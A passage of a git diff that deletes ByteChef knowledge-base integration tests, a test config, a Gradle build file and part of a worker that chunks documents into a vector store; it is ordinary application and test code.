+++ /dev/null
@@ -1,212 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.assertj.core.api.Assertions.assertThatThrownBy;
-
-import com.bytechef.automation.knowledgebase.config.KnowledgeBaseIntTestConfiguration;
-import com.bytechef.automation.knowledgebase.config.KnowledgeBaseIntTestConfigurationSharedMocks;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentChunkRepository;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentRepository;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseRepository;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.test.config.testcontainers.PostgreSQLContainerConfiguration;
-import java.util.List;
-import java.util.Optional;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.context.annotation.Import;
-
-/**
- * Integration tests for {@link KnowledgeBaseDocumentChunkService}.
- *
- * @author Ivica Cardic
- */
-@SpringBootTest(classes = KnowledgeBaseIntTestConfiguration.class)
-@Import(PostgreSQLContainerConfiguration.class)
-@KnowledgeBaseIntTestConfigurationSharedMocks
-class KnowledgeBaseDocumentChunkServiceIntTest {
-
-    @Autowired
-    private KnowledgeBaseDocumentChunkService knowledgeBaseDocumentChunkService;
-
-    @Autowired
-    private KnowledgeBaseDocumentChunkRepository knowledgeBaseDocumentChunkRepository;
-
-    @Autowired
-    private KnowledgeBaseDocumentRepository knowledgeBaseDocumentRepository;
-
-    @Autowired
-    private KnowledgeBaseRepository knowledgeBaseRepository;
-
-    private KnowledgeBase knowledgeBase;
-    private KnowledgeBaseDocument document;
-
-    @BeforeEach
-    public void beforeEach() {
-        knowledgeBaseDocumentChunkRepository.deleteAll();
-        knowledgeBaseDocumentRepository.deleteAll();
-        knowledgeBaseRepository.deleteAll();
-
-        knowledgeBase = new KnowledgeBase();
-
-        knowledgeBase.setName("Test KnowledgeBase");
-
-        knowledgeBase = knowledgeBaseRepository.save(knowledgeBase);
-
-        document = new KnowledgeBaseDocument();
-
-        document.setKnowledgeBaseId(knowledgeBase.getId());
-        document.setName("Test Document");
-        document.setDocument(new FileEntry("test.txt", "file://test/test.txt"));
-        document.setStatus(KnowledgeBaseDocument.STATUS_READY);
-
-        document = knowledgeBaseDocumentRepository.save(document);
-    }
-
-    @AfterEach
-    public void afterEach() {
-        knowledgeBaseDocumentChunkRepository.deleteAll();
-        knowledgeBaseDocumentRepository.deleteAll();
-        knowledgeBaseRepository.deleteAll();
-    }
-
-    @Test
-    void testSaveKnowledgeBaseDocumentChunk() {
-        KnowledgeBaseDocumentChunk chunk = createChunk("vector-store-id-1");
-
-        KnowledgeBaseDocumentChunk savedChunk = knowledgeBaseDocumentChunkService.saveKnowledgeBaseDocumentChunk(chunk);
-
-        assertThat(savedChunk.getId()).isNotNull();
-        assertThat(savedChunk.getKnowledgeBaseDocumentId()).isEqualTo(document.getId());
-        assertThat(savedChunk.getVectorStoreId()).isEqualTo("vector-store-id-1");
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocumentChunk() {
-        KnowledgeBaseDocumentChunk chunk = knowledgeBaseDocumentChunkRepository.save(createChunk("vector-store-id-1"));
-
-        KnowledgeBaseDocumentChunk retrievedChunk =
-            knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunk(chunk.getId());
-
-        assertThat(retrievedChunk).isNotNull();
-        assertThat(retrievedChunk.getId()).isEqualTo(chunk.getId());
-        assertThat(retrievedChunk.getVectorStoreId()).isEqualTo("vector-store-id-1");
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocumentChunkNotFound() {
-        assertThatThrownBy(() -> knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunk(Long.MAX_VALUE))
-            .isInstanceOf(RuntimeException.class)
-            .hasMessageContaining("KnowledgeBase document chunk not found");
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocumentChunkByVectorStoreId() {
-        KnowledgeBaseDocumentChunk chunk = knowledgeBaseDocumentChunkRepository.save(
-            createChunk("unique-vector-store-id"));
-
-        Optional<KnowledgeBaseDocumentChunk> retrievedChunk =
-            knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunkByVectorStoreId("unique-vector-store-id");
-
-        assertThat(retrievedChunk).isPresent();
-        assertThat(retrievedChunk.get()
-            .getId()).isEqualTo(chunk.getId());
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocumentChunkByVectorStoreIdNotFound() {
-        Optional<KnowledgeBaseDocumentChunk> retrievedChunk =
-            knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunkByVectorStoreId("non-existent-id");
-
-        assertThat(retrievedChunk).isNotPresent();
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocumentChunksByDocumentId() {
-        knowledgeBaseDocumentChunkRepository.save(createChunk("vector-store-id-1"));
-        knowledgeBaseDocumentChunkRepository.save(createChunk("vector-store-id-2"));
-        knowledgeBaseDocumentChunkRepository.save(createChunk("vector-store-id-3"));
-
-        List<KnowledgeBaseDocumentChunk> chunks =
-            knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunksByDocumentId(document.getId());
-
-        assertThat(chunks).hasSize(3);
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocumentChunks() {
-        KnowledgeBaseDocumentChunk chunk1 = knowledgeBaseDocumentChunkRepository.save(createChunk("vector-store-id-1"));
-        KnowledgeBaseDocumentChunk chunk2 = knowledgeBaseDocumentChunkRepository.save(createChunk("vector-store-id-2"));
-
-        List<KnowledgeBaseDocumentChunk> chunks =
-            knowledgeBaseDocumentChunkService.getKnowledgeBaseDocumentChunks(List.of(chunk1.getId(), chunk2.getId()));
-
-        assertThat(chunks).hasSize(2);
-    }
-
-    @Test
-    void testSaveKnowledgeBaseDocumentChunks() {
-        KnowledgeBaseDocumentChunk chunk1 = createChunk("vector-store-id-1");
-        KnowledgeBaseDocumentChunk chunk2 = createChunk("vector-store-id-2");
-
-        List<KnowledgeBaseDocumentChunk> savedChunks =
-            knowledgeBaseDocumentChunkService.saveKnowledgeBaseDocumentChunks(List.of(chunk1, chunk2));
-
-        assertThat(savedChunks).hasSize(2);
-        assertThat(savedChunks).allMatch(chunk -> chunk.getId() != null);
-    }
-
-    @Test
-    void testDeleteKnowledgeBaseDocumentChunk() {
-        KnowledgeBaseDocumentChunk chunk = knowledgeBaseDocumentChunkRepository.save(createChunk("vector-store-id-1"));
-
-        assertThat(knowledgeBaseDocumentChunkRepository.findById(chunk.getId())).isPresent();
-
-        knowledgeBaseDocumentChunkService.deleteKnowledgeBaseDocumentChunk(chunk.getId());
-
-        assertThat(knowledgeBaseDocumentChunkRepository.findById(chunk.getId())).isNotPresent();
-    }
-
-    @Test
-    void testDeleteKnowledgeBaseDocumentChunks() {
-        KnowledgeBaseDocumentChunk chunk1 = knowledgeBaseDocumentChunkRepository.save(createChunk("vector-store-id-1"));
-        KnowledgeBaseDocumentChunk chunk2 = knowledgeBaseDocumentChunkRepository.save(createChunk("vector-store-id-2"));
-
-        assertThat(knowledgeBaseDocumentChunkRepository.findAll()).hasSize(2);
-
-        knowledgeBaseDocumentChunkService.deleteKnowledgeBaseDocumentChunks(List.of(chunk1, chunk2));
-
-        assertThat(knowledgeBaseDocumentChunkRepository.findAll()).isEmpty();
-    }
-
-    private KnowledgeBaseDocumentChunk createChunk(String vectorStoreId) {
-        KnowledgeBaseDocumentChunk chunk = new KnowledgeBaseDocumentChunk();
-
-        chunk.setKnowledgeBaseDocumentId(document.getId());
-        chunk.setVectorStoreId(vectorStoreId);
-
-        return chunk;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentServiceIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentServiceIntTest.java
deleted file mode 100644
index 973844c6ecb..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseDocumentServiceIntTest.java
+++ /dev/null
@@ -1,171 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.assertj.core.api.Assertions.assertThatThrownBy;
-
-import com.bytechef.automation.knowledgebase.config.KnowledgeBaseIntTestConfiguration;
-import com.bytechef.automation.knowledgebase.config.KnowledgeBaseIntTestConfigurationSharedMocks;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.dto.DocumentStatusUpdate;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseDocumentRepository;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseRepository;
-import com.bytechef.file.storage.domain.FileEntry;
-import com.bytechef.test.config.testcontainers.PostgreSQLContainerConfiguration;
-import java.util.List;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.context.annotation.Import;
-
-/**
- * Integration tests for {@link KnowledgeBaseDocumentService}.
- *
- * @author Ivica Cardic
- */
-@SpringBootTest(classes = KnowledgeBaseIntTestConfiguration.class)
-@Import(PostgreSQLContainerConfiguration.class)
-@KnowledgeBaseIntTestConfigurationSharedMocks
-class KnowledgeBaseDocumentServiceIntTest {
-
-    @Autowired
-    private KnowledgeBaseDocumentService knowledgeBaseDocumentService;
-
-    @Autowired
-    private KnowledgeBaseDocumentRepository knowledgeBaseDocumentRepository;
-
-    @Autowired
-    private KnowledgeBaseRepository knowledgeBaseRepository;
-
-    private KnowledgeBase knowledgeBase;
-
-    @BeforeEach
-    public void beforeEach() {
-        knowledgeBaseDocumentRepository.deleteAll();
-        knowledgeBaseRepository.deleteAll();
-
-        knowledgeBase = new KnowledgeBase();
-
-        knowledgeBase.setName("Test KnowledgeBase");
-
-        knowledgeBase = knowledgeBaseRepository.save(knowledgeBase);
-    }
-
-    @AfterEach
-    public void afterEach() {
-        knowledgeBaseDocumentRepository.deleteAll();
-        knowledgeBaseRepository.deleteAll();
-    }
-
-    @Test
-    void testSaveKnowledgeBaseDocument() {
-        KnowledgeBaseDocument document = createDocument("Test Document");
-
-        KnowledgeBaseDocument savedDocument = knowledgeBaseDocumentService.saveKnowledgeBaseDocument(document);
-
-        assertThat(savedDocument.getId()).isNotNull();
-        assertThat(savedDocument.getName()).isEqualTo("Test Document");
-        assertThat(savedDocument.getKnowledgeBaseId()).isEqualTo(knowledgeBase.getId());
-        assertThat(savedDocument.getStatus()).isEqualTo(KnowledgeBaseDocument.STATUS_UPLOADED);
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocument() {
-        KnowledgeBaseDocument document = knowledgeBaseDocumentRepository.save(createDocument("Test Document"));
-
-        KnowledgeBaseDocument retrievedDocument = knowledgeBaseDocumentService.getKnowledgeBaseDocument(
-            document.getId());
-
-        assertThat(retrievedDocument).isNotNull();
-        assertThat(retrievedDocument.getId()).isEqualTo(document.getId());
-        assertThat(retrievedDocument.getName()).isEqualTo("Test Document");
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocumentNotFound() {
-        assertThatThrownBy(() -> knowledgeBaseDocumentService.getKnowledgeBaseDocument(Long.MAX_VALUE))
-            .isInstanceOf(RuntimeException.class)
-            .hasMessageContaining("KnowledgeBase document not found");
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocuments() {
-        knowledgeBaseDocumentRepository.save(createDocument("Document 1"));
-        knowledgeBaseDocumentRepository.save(createDocument("Document 2"));
-        knowledgeBaseDocumentRepository.save(createDocument("Document 3"));
-
-        List<KnowledgeBaseDocument> documents =
-            knowledgeBaseDocumentService.getKnowledgeBaseDocuments(knowledgeBase.getId());
-
-        assertThat(documents).hasSize(3);
-    }
-
-    @Test
-    void testGetKnowledgeBaseDocumentStatus() {
-        KnowledgeBaseDocument document = createDocument("Test Document");
-
-        document.setStatus(KnowledgeBaseDocument.STATUS_PROCESSING);
-
-        document = knowledgeBaseDocumentRepository.save(document);
-
-        DocumentStatusUpdate statusUpdate =
-            knowledgeBaseDocumentService.getKnowledgeBaseDocumentStatus(document.getId());
-
-        assertThat(statusUpdate).isNotNull();
-        assertThat(statusUpdate.documentId()).isEqualTo(document.getId());
-        assertThat(statusUpdate.status()).isEqualTo(KnowledgeBaseDocument.STATUS_PROCESSING);
-    }
-
-    @Test
-    void testDeleteKnowledgeBaseDocument() {
-        KnowledgeBaseDocument document = knowledgeBaseDocumentRepository.save(createDocument("Test Document"));
-
-        assertThat(knowledgeBaseDocumentRepository.findById(document.getId())).isPresent();
-
-        knowledgeBaseDocumentService.delete(document.getId());
-
-        assertThat(knowledgeBaseDocumentRepository.findById(document.getId())).isNotPresent();
-    }
-
-    @Test
-    void testUpdateDocumentStatus() {
-        KnowledgeBaseDocument document = knowledgeBaseDocumentRepository.save(createDocument("Test Document"));
-
-        assertThat(document.getStatus()).isEqualTo(KnowledgeBaseDocument.STATUS_UPLOADED);
-
-        document.setStatus(KnowledgeBaseDocument.STATUS_READY);
-
-        KnowledgeBaseDocument updatedDocument = knowledgeBaseDocumentService.saveKnowledgeBaseDocument(document);
-
-        assertThat(updatedDocument.getStatus()).isEqualTo(KnowledgeBaseDocument.STATUS_READY);
-    }
-
-    private KnowledgeBaseDocument createDocument(String name) {
-        KnowledgeBaseDocument document = new KnowledgeBaseDocument();
-
-        document.setKnowledgeBaseId(knowledgeBase.getId());
-        document.setName(name);
-        document.setDocument(new FileEntry(name + ".txt", "file://test/" + name + ".txt"));
-        document.setStatus(KnowledgeBaseDocument.STATUS_UPLOADED);
-
-        return document;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseServiceIntTest.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseServiceIntTest.java
deleted file mode 100644
index d7583519d6a..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/java/com/bytechef/automation/knowledgebase/service/KnowledgeBaseServiceIntTest.java
+++ /dev/null
@@ -1,162 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.service;
-
-import static org.assertj.core.api.Assertions.assertThat;
-import static org.assertj.core.api.Assertions.assertThatThrownBy;
-
-import com.bytechef.automation.knowledgebase.config.KnowledgeBaseIntTestConfiguration;
-import com.bytechef.automation.knowledgebase.config.KnowledgeBaseIntTestConfigurationSharedMocks;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.repository.KnowledgeBaseRepository;
-import com.bytechef.test.config.testcontainers.PostgreSQLContainerConfiguration;
-import java.util.List;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.springframework.beans.factory.annotation.Autowired;
-import org.springframework.boot.test.context.SpringBootTest;
-import org.springframework.context.annotation.Import;
-
-/**
- * Integration tests for {@link KnowledgeBaseService}.
- *
- * @author Ivica Cardic
- */
-@SpringBootTest(classes = KnowledgeBaseIntTestConfiguration.class)
-@Import(PostgreSQLContainerConfiguration.class)
-@KnowledgeBaseIntTestConfigurationSharedMocks
-class KnowledgeBaseServiceIntTest {
-
-    @Autowired
-    private KnowledgeBaseService knowledgeBaseService;
-
-    @Autowired
-    private KnowledgeBaseRepository knowledgeBaseRepository;
-
-    @BeforeEach
-    public void beforeEach() {
-        knowledgeBaseRepository.deleteAll();
-    }
-
-    @AfterEach
-    public void afterEach() {
-        knowledgeBaseRepository.deleteAll();
-    }
-
-    @Test
-    void testCreateKnowledgeBase() {
-        KnowledgeBase knowledgeBase = createKnowledgeBase("Test KnowledgeBase");
-
-        KnowledgeBase savedKnowledgeBase = knowledgeBaseService.createKnowledgeBase(knowledgeBase);
-
-        assertThat(savedKnowledgeBase.getId()).isNotNull();
-        assertThat(savedKnowledgeBase.getName()).isEqualTo("Test KnowledgeBase");
-        assertThat(savedKnowledgeBase.getCreatedDate()).isNotNull();
-    }
-
-    @Test
-    void testGetKnowledgeBase() {
-        KnowledgeBase knowledgeBase = knowledgeBaseRepository.save(createKnowledgeBase("Test KnowledgeBase"));
-
-        KnowledgeBase retrievedKnowledgeBase = knowledgeBaseService.getKnowledgeBase(knowledgeBase.getId());
-
-        assertThat(retrievedKnowledgeBase).isNotNull();
-        assertThat(retrievedKnowledgeBase.getId()).isEqualTo(knowledgeBase.getId());
-        assertThat(retrievedKnowledgeBase.getName()).isEqualTo("Test KnowledgeBase");
-    }
-
-    @Test
-    void testGetKnowledgeBaseNotFound() {
-        assertThatThrownBy(() -> knowledgeBaseService.getKnowledgeBase(Long.MAX_VALUE))
-            .isInstanceOf(RuntimeException.class)
-            .hasMessageContaining("KnowledgeBase not found");
-    }
-
-    @Test
-    void testGetKnowledgeBases() {
-        knowledgeBaseRepository.save(createKnowledgeBase("KnowledgeBase 1"));
-        knowledgeBaseRepository.save(createKnowledgeBase("KnowledgeBase 2"));
-        knowledgeBaseRepository.save(createKnowledgeBase("KnowledgeBase 3"));
-
-        List<KnowledgeBase> knowledgeBases = knowledgeBaseService.getKnowledgeBases();
-
-        assertThat(knowledgeBases).hasSize(3);
-    }
-
-    @Test
-    void testUpdateKnowledgeBase() {
-        KnowledgeBase knowledgeBase = knowledgeBaseRepository.save(createKnowledgeBase("Original Name"));
-
-        KnowledgeBase updateData = new KnowledgeBase();
-
-        updateData.setName("Updated Name");
-        updateData.setDescription("Updated Description");
-        updateData.setMaxChunkSize(1000);
-        updateData.setMinChunkSizeChars(100);
-        updateData.setOverlap(50);
-
-        KnowledgeBase updatedKnowledgeBase =
-            knowledgeBaseService.updateKnowledgeBase(knowledgeBase.getId(), updateData);
-
-        assertThat(updatedKnowledgeBase.getId()).isEqualTo(knowledgeBase.getId());
-        assertThat(updatedKnowledgeBase.getName()).isEqualTo("Updated Name");
-        assertThat(updatedKnowledgeBase.getDescription()).isEqualTo("Updated Description");
-        assertThat(updatedKnowledgeBase.getMaxChunkSize()).isEqualTo(1000);
-        assertThat(updatedKnowledgeBase.getMinChunkSizeChars()).isEqualTo(100);
-        assertThat(updatedKnowledgeBase.getOverlap()).isEqualTo(50);
-    }
-
-    @Test
-    void testDeleteKnowledgeBase() {
-        KnowledgeBase knowledgeBase = knowledgeBaseRepository.save(createKnowledgeBase("Test KnowledgeBase"));
-
-        assertThat(knowledgeBaseRepository.findById(knowledgeBase.getId())).isPresent();
-
-        knowledgeBaseService.deleteKnowledgeBase(knowledgeBase.getId());
-
-        assertThat(knowledgeBaseRepository.findById(knowledgeBase.getId())).isNotPresent();
-    }
-
-    @Test
-    void testCreateKnowledgeBaseWithAllFields() {
-        KnowledgeBase knowledgeBase = new KnowledgeBase();
-
-        knowledgeBase.setName("Full KnowledgeBase");
-        knowledgeBase.setDescription("A comprehensive knowledge base");
-        knowledgeBase.setMaxChunkSize(2048);
-        knowledgeBase.setMinChunkSizeChars(256);
-        knowledgeBase.setOverlap(128);
-
-        KnowledgeBase savedKnowledgeBase = knowledgeBaseService.createKnowledgeBase(knowledgeBase);
-
-        assertThat(savedKnowledgeBase.getId()).isNotNull();
-        assertThat(savedKnowledgeBase.getName()).isEqualTo("Full KnowledgeBase");
-        assertThat(savedKnowledgeBase.getDescription()).isEqualTo("A comprehensive knowledge base");
-        assertThat(savedKnowledgeBase.getMaxChunkSize()).isEqualTo(2048);
-        assertThat(savedKnowledgeBase.getMinChunkSizeChars()).isEqualTo(256);
-        assertThat(savedKnowledgeBase.getOverlap()).isEqualTo(128);
-    }
-
-    private KnowledgeBase createKnowledgeBase(String name) {
-        KnowledgeBase knowledgeBase = new KnowledgeBase();
-
-        knowledgeBase.setName(name);
-
-        return knowledgeBase;
-    }
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/resources/config/application-testint.yml b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/resources/config/application-testint.yml
deleted file mode 100644
index 1bcde8a6c07..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-service/src/test/resources/config/application-testint.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-bytechef:
-  knowledgebase:
-    enabled: true
-
-spring:
-  liquibase:
-    contexts: configuration,connection,execution
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/build.gradle.kts b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/build.gradle.kts
deleted file mode 100644
index 1fb53fd7773..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/build.gradle.kts
+++ /dev/null
@@ -1,20 +0,0 @@
-dependencies {
-    implementation("com.knuddels:jtokkit")
-    implementation("org.springframework:spring-context")
-    implementation("org.springframework.ai:spring-ai-mistral-ai")
-    implementation("org.springframework.ai:spring-ai-markdown-document-reader")
-    implementation("org.springframework.ai:spring-ai-openai")
-    implementation("org.springframework.ai:spring-ai-pdf-document-reader")
-    implementation("org.springframework.ai:spring-ai-pgvector-store")
-    implementation("org.springframework.ai:spring-ai-tika-document-reader")
-    implementation(project(":server:libs:config:app-config"))
-    implementation(project(":server:libs:core:message:message-broker:message-broker-api"))
-    implementation(project(":server:libs:core:message:message-event:message-event-api"))
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-api"))
-    implementation(project(":server:libs:automation:automation-knowledge-base:automation-knowledge-base-file-storage:automation-knowledge-base-file-storage-api"))
-    implementation(project(":server:libs:core:tenant:tenant-api"))
-
-    testImplementation("org.junit.jupiter:junit-jupiter")
-    testImplementation("org.mockito:mockito-core")
-    testImplementation("org.mockito:mockito-junit-jupiter")
-}
diff --git a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/KnowledgeBaseDocumentProcessWorker.java b/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/KnowledgeBaseDocumentProcessWorker.java
deleted file mode 100644
index 40a3ba0b803..00000000000
--- a/server/libs/automation/automation-knowledge-base/automation-knowledge-base-worker/src/main/java/com/bytechef/automation/knowledgebase/worker/KnowledgeBaseDocumentProcessWorker.java
+++ /dev/null
@@ -1,191 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.automation.knowledgebase.worker;
-
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBase;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocument;
-import com.bytechef.automation.knowledgebase.domain.KnowledgeBaseDocumentChunk;
-import com.bytechef.automation.knowledgebase.event.KnowledgeBaseDocumentChunkEvent;
-import com.bytechef.automation.knowledgebase.event.KnowledgeBaseDocumentEvent;
-import com.bytechef.automation.knowledgebase.file.storage.KnowledgeBaseFileStorage;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentChunkService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseDocumentService;
-import com.bytechef.automation.knowledgebase.service.KnowledgeBaseService;
-import com.bytechef.automation.knowledgebase.worker.etl.KnowledgeBaseEtlPipeline;
-import com.bytechef.file.storage.domain.FileEntry;
-import edu.umd.cs.findbugs.annotations.SuppressFBWarnings;
-import java.util.List;
-import java.util.Objects;
-import org.slf4j.Logger;
-import org.slf4j.LoggerFactory;
-import org.springframework.ai.document.Document;
-import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
-import org.springframework.core.io.ByteArrayResource;
-import org.springframework.core.io.Resource;
-import org.springframework.stereotype.Component;
-
-/**
- * Worker for processing knowledge base documents using ETL Pipeline.
- *
- * @author Ivica Cardic
- */
-@Component
-@ConditionalOnProperty(prefix = "bytechef.knowledge-base", name = "enabled", havingValue = "true")
-public class KnowledgeBaseDocumentProcessWorker {
-
-    private static final Logger LOGGER = LoggerFactory.getLogger(KnowledgeBaseDocumentProcessWorker.class);
-
-    private final KnowledgeBaseDocumentChunkService knowledgeBaseDocumentChunkService;
-    private final KnowledgeBaseDocumentService knowledgeBaseDocumentService;
-    private final KnowledgeBaseEtlPipeline knowledgeBaseEtlPipeline;
-    private final KnowledgeBaseFileStorage knowledgeBaseFileStorage;
-    private final KnowledgeBaseService knowledgeBaseService;
-
-    @SuppressFBWarnings("EI")
-    public KnowledgeBaseDocumentProcessWorker(
-        KnowledgeBaseDocumentChunkService knowledgeBaseDocumentChunkService,
-        KnowledgeBaseDocumentService knowledgeBaseDocumentService,
-        KnowledgeBaseEtlPipeline knowledgeBaseEtlPipeline, KnowledgeBaseFileStorage knowledgeBaseFileStorage,
-        KnowledgeBaseService knowledgeBaseService) {
-
-        this.knowledgeBaseDocumentChunkService = knowledgeBaseDocumentChunkService;
-        this.knowledgeBaseDocumentService = knowledgeBaseDocumentService;
-        this.knowledgeBaseEtlPipeline = knowledgeBaseEtlPipeline;
-        this.knowledgeBaseFileStorage = knowledgeBaseFileStorage;
-        this.knowledgeBaseService = knowledgeBaseService;
-    }
-
-    public void onKnowledgeBaseDocumentEvent(KnowledgeBaseDocumentEvent event) {
-        long knowledgeBaseDocumentId = event.getDocumentId();
-
-        KnowledgeBaseDocument knowledgeBaseDocument = knowledgeBaseDocumentService.getKnowledgeBaseDocument(
-            knowledgeBaseDocumentId);
-
-        try {
-            knowledgeBaseDocument.setStatus(KnowledgeBaseDocument.STATUS_PROCESSING);
-
-            knowledgeBaseDocumentService.saveKnowledgeBaseDocument(knowledgeBaseDocument);
-
-            KnowledgeBase knowledgeBase = knowledgeBaseService.getKnowledgeBase(
-                knowledgeBaseDocument.getKnowledgeBaseId());
-            FileEntry fileEntry = knowledgeBaseDocument.getDocument();
-
-            byte[] documentBytes = knowledgeBaseFileStorage.readDocumentToBytes(fileEntry);
-
-            Resource resource = new KnowledgeBaseDocumentByteArrayResource(documentBytes, fileEntry);
-
-            List<Long> tagIds = knowledgeBaseDocument.getTagIds();
-
-            List<Document> documents = knowledgeBaseEtlPipeline.process(
-                resource, fileEntry.getMimeType(),
-                knowledgeBase.getMinChunkSizeChars(), knowledgeBase.getMaxChunkSize(), knowledgeBase.getOverlap());
-
-            for (Document document : documents) {
-                KnowledgeBaseDocumentChunk knowledgeBaseDocumentChunk = new KnowledgeBaseDocumentChunk();
-
-                knowledgeBaseDocumentChunk.setKnowledgeBaseDocumentId(knowledgeBaseDocumentId);
-
-                knowledgeBaseDocumentChunk =
-                    knowledgeBaseDocumentChunkService.saveKnowledgeBaseDocumentChunk(knowledgeBaseDocumentChunk);
-
-                String vectorStoreId = knowledgeBaseEtlPipeline.writeChunkToVectorStore(
-                    document, knowledgeBase.getId(), knowledgeBaseDocumentId, knowledgeBaseDocumentChunk.getId(),
-                    tagIds);
-
-                knowledgeBaseDocumentChunk.setVectorStoreId(vectorStoreId);
-
-                FileEntry chunkContentFileEntry = knowledgeBaseFileStorage.storeChunkContent(
-                    knowledgeBaseDocumentChunk.getId(), document.getText());
-
-                knowledgeBaseDocumentChunk.setContent(chunkContentFileEntry);
-
-                knowledgeBaseDocumentChunkService.saveKnowledgeBaseDocumentChunk(knowledgeBaseDocumentChunk);
-            }
-
-            knowledgeBaseDocument.setStatus(KnowledgeBaseDocument.STATUS_READY);
-
